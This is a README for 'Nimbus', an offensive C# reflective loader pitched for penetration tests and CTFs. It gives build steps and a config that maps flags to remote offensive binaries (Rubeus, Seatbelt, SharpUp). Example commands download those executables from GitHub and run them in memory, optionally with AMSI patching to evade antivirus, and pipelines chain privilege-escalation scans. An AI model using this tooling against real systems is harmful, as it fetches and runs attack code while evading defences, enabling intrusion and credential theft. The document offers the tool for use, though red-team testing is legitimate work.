Nimbus

A minimal C# Reflective Loader for offensive security purposes.

Features

• Run remote C# compiled executable in memory.
• CLI-Arg friendly.
• Use a config file for your favourite tools.
• Automate your processes with pipelines.
• Perfect for penetration tests and CTFs.

Download

You can skip the first two step in the next section by downloading the binaries.

Setup

1. Clone the repo

git clone https://gitlab.com/gerbot/nimbus.git

1. Build the project

# 64bit
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:Nimbus64.exe /reference:System.Web.Extensions.dll /reference:Newtonsoft.Json.dll Nimbus.cs Utils.cs Config.cs

# 32bit
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:Nimbus32.exe /reference:System.Web.Extensions.dll /reference:Newtonsoft.Json.dll Nimbus.cs Utils.cs Config.cs

1. Modify the nimbus.json file to add your favourite C#.Net executables. (Use the example provided as a reference)

{
  "commands": {
    "--rubeus": "https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/dotnet%20v4.5%20compiled%20binaries/Rubeus.exe",
    "--seatbelt": "https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/dotnet%20v4.5%20compiled%20binaries/Seatbelt.exe",
    "--sharpup": "https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/dotnet%20v4.5%20compiled%20binaries/SharpUp.exe"
  },
  "pipelines": [
    {
      "name": "Local_Enumeration",
      "tactics": [
        {
          "name": "Privesc Scanning",
          "commands": [
            {
              "command": "--sharpup audit"
            },
            {
              "command": "--seatbelt -group=all -full"
            }
          ]
        }
      ]
    }
  ]
}

1. Make sure Nimbus.exe and nimbus.json is in the same location.

5. Enjoy the buggy software.

Usage

===== Nimbus Help Menu =====
Usage: Nimbus.exe [options] <command> [--args <arguments>]
Options
  --help                     Show this help message and exit.
  --load <URL>               Specify the URL of the executable to load and specify the arguments.
  --show                     Show all the commands in your config file.
  --amsi                     Enable AMSI patching (disabled by default).
  --pipeline <name>          Execute a predefined pipeline.

Examples

To load a executable into memory with the associated flags.

Nimbus.exe --load https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/dotnet%20v4.5%20compiled%20binaries/SharpUp.exe audit

Showing the options you have in your config file, along with the URLs:

Nimbus.exe --show

Running a command from the config file

Nimbus.exe --sharpup audit

Running pipelines can be done like so:

Nimbus.exe --pipeline <pipeline_name>

Optionally, if you want to bypass AMSI when doing it, you can make use of the --amsi flag.

Nimbus.exe --amsi --sharpup audit

Credits

• Many binaries I used to test with, and are present in the config file are from this repo:

• https://github.com/r3motecontrol/Ghostpack-CompiledBinaries

• The biggest source of inspiration:

• https://jfmaes-1.gitbook.io/reflection-workshop ***
• https://www.youtube.com/watch?v=E6LOQQiNjj0

Other sources I used for the idea and some inspiration: - https://offensivecraft.wordpress.com/2021/05/25/reflection-in-c-101/ - https://intezer.com/blog/incident-response/intro-to-malware-net-executable-file/

• After breaking multiple keyboards trying to parse JSON, I have given up and used this package provided by the brilliant https://github.com/JamesNK:
• https://www.nuget.org/packages/Newtonsoft.Json/
• Downloaded the package and unzipped, then went to fetch the .dll in lib\net40

Known Issues

• Works well on Windows 10 and 11. Not so well on Windows Server 2016-2022 versions tho.

TODO

• Actually implement the --config command.
• Implement different AMSI Bypass methods.
• Implement different reflection methods.
• Make it run on the servers too.